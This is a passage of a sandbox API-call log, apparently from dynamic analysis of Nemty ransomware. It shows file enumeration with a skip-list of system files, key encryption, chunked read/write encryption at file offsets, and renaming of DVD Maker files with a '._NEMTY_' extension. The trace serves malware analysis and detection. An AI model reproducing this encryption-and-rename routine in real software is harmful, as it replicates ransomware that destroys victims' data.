hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0083.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0083.046] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0083.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0083.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0083.046] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.047] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb7fe80, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb7fe80, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_widescreen_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2=".") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="..") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="...") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="windows") returned -1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="rsa") returned -1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="ntldr") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0083.047] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0083.048] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0083.048] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="programdata") returned 1 [0083.048] lstrcmpiW (lpString1="rectangle_widescreen_Thumbnail.bmp", lpString2="appdata") returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_widescreen_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_widescreen_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_widescreen_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_widescreen_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0083.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0083.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0083.048] Sleep (dwMilliseconds=0x5) [0083.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5265d30, dwHighDateTime=0x1d561e7)) [0083.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5265d30, dwHighDateTime=0x1d561e7)) [0083.052] GetLastError () returned 0x5 [0083.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.052] GetLastError () returned 0x5 [0083.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0083.053] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0083.053] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0083.053] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="tbaGJMajjNAPEY94PBHP7+ppODKYFj9J9q4sgWZ8YPNxjfeLrlsyovG/aGuBM/zx\r\n0NTPbD8LlgzkiFTmB7UOl8AXwtwamdz5yF16a61u+lF/e29tCSCotjuqbZSYmrCR\r\nkiID7J7ofXNloAAo6wCXm5E2Ryg0pYKLcE7RE0IWFZ3LsmlV0WmEV+QlQjQDkd9j\r\nllCAD6kT94rU+iM9WsZfwlDuUuNKPpagYyS4P5V9wNC36+yvXcNGhJ0//Ve8ns8k\r\nSGIRgY/cKYUYPR400Rkj2/sHDDmN0ecO36qrP0GQI9XDq/GOuF/n7XRlQg1W9Ah5\r\nrrWwh2TTZvDy+ITlALBbEQ==\r\n", pcchString=0x653ec5c) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.053] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.053] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0083.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.053] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.072] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.072] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.072] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.091] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.110] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0083.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.160] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0083.160] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.160] CloseHandle (hObject=0xffffffff) returned 0 [0083.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0083.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.160] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0083.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0083.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.161] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: 